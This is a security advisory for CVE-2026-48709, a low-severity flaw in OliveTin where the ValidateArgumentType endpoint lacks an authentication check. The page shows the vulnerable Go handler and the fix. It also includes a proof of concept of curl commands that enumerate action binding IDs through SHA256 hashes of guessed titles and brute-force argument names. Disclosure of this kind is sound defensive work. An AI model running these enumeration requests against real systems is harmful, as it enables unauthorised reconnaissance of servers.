CVE-2026-48709: OliveTin ValidateArgumentType API Endpoint's Missing Authentication Vulnerability

LOW
Advisory Identifier: GHSA-f637-w7p2-m7fx
CVSS 3.7
CWE-862
Published
Advisory Summary

CVE-2026-48709 is a LOW (CVSS 3.7) validateargumenttype api endpoint's missing authentication vulnerability (CWE-862: Missing Authorization) affecting OliveTin libraries in the Go ecosystem. The issue involves validateargumenttype api endpoint's missing authentication allows action and argument enumeration. Remediation is available by upgrading affected packages to version 0.0.0-20260521230847-a3865704c854.

CVE-2026-48709 at a Glance

CVE Identifier CVE-2026-48709
GHSA Identifier GHSA-f637-w7p2-m7fx
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-862: Missing Authorization
Affected Product OliveTin
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-48709

To remediate this vulnerability, upgrade all affected OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OliveTin/OliveTin fixed: 0.0.0-20260521230847-a3865704c854
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260521230847-a3865704c854
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OliveTin/OliveTin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48709, inspect your project dependencies for OliveTin:

inspect dependencies for github.com/OliveTin/OliveTin

Analyze the terminal output to locate any version of OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260521230847-a3865704c854), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. ## Details ### Root Cause The `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check: ```go func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) { if api.argumentNotFoundForValidation(req.Msg) { return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId)) } err := api.validateArgumentTypeInternal(req.Msg) desc := "" if err != nil { desc = err.Error() } return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{ Valid: err == nil, Description: desc, }), nil } ``` Compare this with adjacent endpoints that DO have auth checks: ```go // WhoAmI - has auth check func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... { user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } ... } // GetDashboard - has auth check func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... { user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } ... } ``` ### Oracle Behavior The endpoint provides different responses based on whether the binding and argument exist: - **Valid binding + valid argument**: Returns `{valid: true/false, description: "..."}` (200 OK) - **Valid binding + invalid argument**: Returns `CodeNotFound` error - **Invalid binding**: Returns `CodeNotFound` error While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound. ### Binding ID Predictability Binding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint. ### Scope This finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API. When `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`. ## PoC ### Prerequisites - OliveTin instance with `AuthRequireGuestsToLogin: true` configured ### Step 1: Verify other endpoints require auth Confirm that regular endpoints reject unauthenticated requests: ```bash curl -s -X POST http://localhost:1337/api/GetDashboard \ -H "Content-Type: application/json" \ -d "{}" # Returns: CodePermissionDenied - "guests are not allowed to access the dashboard" ``` ### Step 2: Enumerate binding IDs via ValidateArgumentType Test candidate binding IDs (SHA256 of guessed action titles): ```bash # Test if an action titled "Ping" exists BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1) curl -s -X POST http://localhost:1337/api/ValidateArgumentType \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}" # If action exists: returns CodeNotFound (argument "test" not found for this binding) # If action does not exist: returns CodeNotFound (same message, but confirms the oracle) ``` ### Step 3: Enumerate argument names for a known binding Once a valid binding ID is known, brute-force argument names: ```bash # Test if argument "target" exists for the Ping action curl -s -X POST http://localhost:1337/api/ValidateArgumentType \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}" # If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED # If argument does not exist: returns CodeNotFound error ``` ## Impact 1. **Information Disclosure**: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties. 2. **Reconnaissance for Further Attacks**: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering. 3. **Limited Scope**: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information. ## Recommended Fix Add authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints: ```go func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) { // Add auth check consistent with other endpoints user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } if api.argumentNotFoundForValidation(req.Msg) { return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId)) } err := api.validateArgumentTypeInternal(req.Msg) desc := "" if err != nil { desc = err.Error() } return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{ Valid: err == nil, Description: desc, }), nil } ```

CVE-2026-48709 Affected OliveTin Versions

1 component(s)
Fixed Versions:
0.0.0-20260521230847-a3865704c854
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OliveTin/OliveTin
Go
< 0.0.0-20260521230847-a3865704c854
0.0.0-20260521230847-a3865704c854

References

Frequently Asked Questions

What is CVE-2026-48709?
CVE-2026-48709 is a security vulnerability in OliveTin involving ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration under CWE-862: Missing Authorization.
Which OliveTin versions are affected?
Affected versions include releases prior to 0.0.0-20260521230847-a3865704c854 across affected packages: github.com/OliveTin/OliveTin.
What version fixes CVE-2026-48709?
Upgrading to 0.0.0-20260521230847-a3865704c854 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OliveTin/OliveTin affected?
Yes, github.com/OliveTin/OliveTin is affected in releases prior to 0.0.0-20260521230847-a3865704c854. Upgrade your dependency to 0.0.0-20260521230847-a3865704c854 or later.
What is the CVSS score of CVE-2026-48709?
CVE-2026-48709 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-48709?
CVE-2026-48709 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-48709?
Run the dependency tree command: 'inspect dependencies for github.com/OliveTin/OliveTin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f637-w7p2-m7fx",
  "modified" : "2026-06-24T17:41:01Z",
  "published" : "2026-06-24T17:41:01Z",
  "aliases" : [ "CVE-2026-48709" ],
  "summary" : "OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration",
  "details" : "## Summary\n\nThe `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.\n\n## Details\n\n### Root Cause\n\nThe `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check:\n\n```go\nfunc (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {\n    if api.argumentNotFoundForValidation(req.Msg) {\n        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf(\"action or argument not found for binding ID %s\", req.Msg.BindingId))\n    }\n\n    err := api.validateArgumentTypeInternal(req.Msg)\n    desc := \"\"\n    if err != nil {\n        desc = err.Error()\n    }\n\n    return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{\n        Valid:       err == nil,\n        Description: desc,\n    }), nil\n}\n```\n\nCompare this with adjacent endpoints that DO have auth checks:\n\n```go\n// WhoAmI - has auth check\nfunc (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {\n    user := auth.UserFromApiCall(ctx, req, api.cfg)\n    if err := api.checkDashboardAccess(user); err != nil {\n        return nil, err\n    }\n    ...\n}\n\n// GetDashboard - has auth check\nfunc (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {\n    user := auth.UserFromApiCall(ctx, req, api.cfg)\n    if err := api.checkDashboardAccess(user); err != nil {\n        return nil, err\n    }\n    ...\n}\n```\n\n### Oracle Behavior\n\nThe endpoint provides different responses based on whether the binding and argument exist:\n\n- **Valid binding + valid argument**: Returns `{valid: true/false, description: \"...\"}` (200 OK)\n\n- **Valid binding + invalid argument**: Returns `CodeNotFound` error\n\n- **Invalid binding**: Returns `CodeNotFound` error\n\nWhile the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.\n\n\n\n\n\n\n\n\n\n### Binding ID Predictability\n\nBinding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., \"Ping\", \"Restart Service\", \"Deploy\"), an attacker can precompute hashes of likely titles and test them against this endpoint.\n\n### Scope\nThis finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.\nWhen `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with `AuthRequireGuestsToLogin: true` configured\n\n### Step 1: Verify other endpoints require auth\n\nConfirm that regular endpoints reject unauthenticated requests:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{}\"\n# Returns: CodePermissionDenied - \"guests are not allowed to access the dashboard\"\n```\n\n### Step 2: Enumerate binding IDs via ValidateArgumentType\n\nTest candidate binding IDs (SHA256 of guessed action titles):\n\n```bash\n# Test if an action titled \"Ping\" exists\nBINDING_ID=$(echo -n \"Ping\" | sha256sum | cut -d\" \" -f1)\ncurl -s -X POST http://localhost:1337/api/ValidateArgumentType \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"bindingId\\\":\\\"$BINDING_ID\\\",\\\"argumentName\\\":\\\"test\\\",\\\"value\\\":\\\"x\\\",\\\"type\\\":\\\"ascii\\\"}\"\n# If action exists: returns CodeNotFound (argument \"test\" not found for this binding)\n# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)\n```\n\n### Step 3: Enumerate argument names for a known binding\n\nOnce a valid binding ID is known, brute-force argument names:\n\n```bash\n# Test if argument \"target\" exists for the Ping action\ncurl -s -X POST http://localhost:1337/api/ValidateArgumentType \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"bindingId\\\":\\\"$BINDING_ID\\\",\\\"argumentName\\\":\\\"target\\\",\\\"value\\\":\\\"test\\\",\\\"type\\\":\\\"ascii\\\"}\"\n# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED\n# If argument does not exist: returns CodeNotFound error\n```\n\n## Impact\n\n1. **Information Disclosure**: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties.\n\n2. **Reconnaissance for Further Attacks**: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering.\n\n3. **Limited Scope**: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information.\n\n## Recommended Fix\n\nAdd authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints:\n\n```go\nfunc (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {\n    // Add auth check consistent with other endpoints\n    user := auth.UserFromApiCall(ctx, req, api.cfg)\n    if err := api.checkDashboardAccess(user); err != nil {\n        return nil, err\n    }\n\n    if api.argumentNotFoundForValidation(req.Msg) {\n        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf(\"action or argument not found for binding ID %s\", req.Msg.BindingId))\n    }\n\n    err := api.validateArgumentTypeInternal(req.Msg)\n    desc := \"\"\n    if err != nil {\n        desc = err.Error()\n    }\n\n    return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{\n        Valid:       err == nil,\n        Description: desc,\n    }), nil\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260521230847-a3865704c854"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48709"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-24T17:41:01Z",
    "nvd_published_at" : "2026-06-15T21:17:15Z"
  }
}